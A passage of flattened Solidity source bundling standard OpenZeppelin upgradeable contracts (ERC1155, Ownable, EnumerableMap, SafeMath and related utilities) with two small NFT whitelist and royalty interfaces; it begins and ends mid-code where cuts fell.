_msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMapUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library StringsUpgradeable { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; /// All the whitelists logics that want to be used in the NFTs contracts must implement this interface. /// /// By implementing this interface, can be transfered. /// interface IWhitelist { /** * @param _who the address that wants to transfer a NFT * @dev Returns true if address has permission to transfer a NFT */ function canTransfer(address _who) external returns (bool); } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; interface IRoyaltyAwareNFT { function royaltyFee(uint256 tokenId) external view returns (uint256); function getCreator(uint256 tokenId) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155MetadataURIUpgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../introspection/ERC165Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, 